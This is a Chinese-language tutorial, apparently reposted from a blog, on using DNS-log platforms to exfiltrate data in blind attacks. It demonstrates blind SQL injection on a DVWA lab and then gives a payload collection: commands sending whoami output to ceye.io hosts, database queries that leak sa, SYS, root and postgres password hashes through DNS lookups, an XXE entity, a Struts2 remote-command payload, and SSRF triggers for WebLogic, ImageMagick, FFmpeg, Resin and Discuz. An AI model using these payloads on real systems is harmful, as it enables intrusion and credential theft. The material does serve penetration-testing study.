dnslog小技巧


一、dnslog利用場景

主要針對無回顯的情況。

  • Sql-Blind
  • RCE
  • SSRF
  • RFI(Remote File Inclusion)

二、原理

將dnslog平台中的特有字段payload帶入目標發起dns請求,通過dns解析將請求后的關鍵信息組合成新的三級域名帶出,在ns服務器的dns日志中顯示出來。

三、案例展示

1.sql盲注

  • 普通的注入
    輸入 1' and '1'='1 ,查詢成功,1' and '1'='2 查詢失敗,結果為空

輸入 1' or '1'='1 查詢成功

綜上,存在注入,字符型。

使用 order by 猜解出來字段為2。

顯位,輸入 1' union select 1,2 #

輸入 1' union select user(),database() #獲取當前用戶及數據庫

就不繼續往下了,但盲注是不顯位的,除了我們常規的猜數據庫長度,二分法猜每個字母 acsii碼 值外,就能用到dnslog了。

  • dnslog用於盲注
    判斷注入
    輸入 1, 2, 3, 4, 5 ,顯示存在;
    輸入 1' and '1'='1 ,顯示存在;
    輸入 1' and '1'='2 ,顯示不存在。

存在注入,字符型。
這里就不用判斷字段了,判斷字段是為了后面顯位。

這里直接使用 dnslog 平台的二級域名 0ox095.ceye.io。
輸入如下查詢數據庫,然后到dnslog平台查看:

# dns查詢有長度限制,必要的時候需要對查詢結果做字符串切割。
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/
?id=1' and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+ 
&Submit=Submit#

其中 and if((select load_file(concat('\\\\',(select database()),'.0ox095.ceye.io\\sql_test'))),1,0)--+
解釋如下:

- and    連接符,測試用 or 也可以
- if(x,1,0)    如果x為真輸出1,為假輸出0,在此不重要,主要是將 x帶入數據庫中,然后得出的結果進行dns解析成 dvwa.0ox095.ceye.io
- select    查詢
- load_file()    讀取文件內容
- concat    拼接字段,這里拼接成了 \\dvwa.0ox095.ceye.io\sql_test
- \\\\    widnows中用共享文件的時候就會用到這種網絡地址的形式,而且轉義問題所以前面4個\變成了2個,后面2個變成了1個,最終結果見上一行。
- select database()    查看當前數據庫,查詢的任何內容在此替換(如查表、字段、數據等)。
- 最后 --+ 為mysql注釋,-- 后需要一個空格,用+代替。

完整流程:

# 爆數據庫(mysql5.0以上版本才有information_schema數據庫)
select schema_name from information_schema.schemata limit 0,1
select schema_name from information_schema.schemata limit 1,1
# 爆表(后面為數據庫名或者其十六進制)
select table_name from information_schema.tables where table_schema='dvwa' limit 0,1
select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1
# 爆字段
select column_name from information_schema.columns where table_name='users' limit 0,1
# 爆數據
select user from users limit 0,1
select password from users limit 0,1
得到 admin / 5f4dcc3b5aa765d61d8327deb882cf99

2.命令執行

curl http://0ox095.ceye.io/`whoami`



win的常用變量

變量 類型 描述
%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。
%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
%CD% 本地 返回當前目錄字符串。
%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。
%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。
%COMPUTERNAME% 系統 返回計算機的名稱。
%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。
%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
%PATH% 系統 指定可執行文件的搜索路徑。
%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。
%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION% 系統 返回處理器的版本號。
%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。
%TEMP%和%TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
%TIME% 系統 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。
%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
%USERNAME% 本地 返回當前登錄的用戶的名稱。
%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
%WINDIR% 系統 返回操作系統目錄的位置。

其他payload

0x00 Command Execution

  • 1.*nix:
curl http://b182oj.ceye.io/`whoami`
ping `whoami`.b182oj.ceye.io
    1. windows
ping %USERNAME%.b182oj.ceye.io

0x01 SQL Injection

  • 1.SQL Server
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');
  • 2.Oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS('b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.b182oj.ceye.io',80) FROM DUAL;
  • 3.MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.b182oj.ceye.io\\abc'));
  • 4.PostgreSQL
DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();

0x02 XML Entity Injection

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
%remote;]>
<root/>

0x03 Others

  • 1.Struts2
xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
  • 2 FFMpeg
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://b182oj.ceye.io
#EXT-X-ENDLIST
  • 3.Weblogic
 xxoo.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
  • 4.ImageMagick
push graphic-context
viewbox 0 0 640 480
fill 'url(http://b182oj.ceye.io)'
pop graphic-context
  • 5.Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
  • 6.Discuz
http://xxx.xxxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM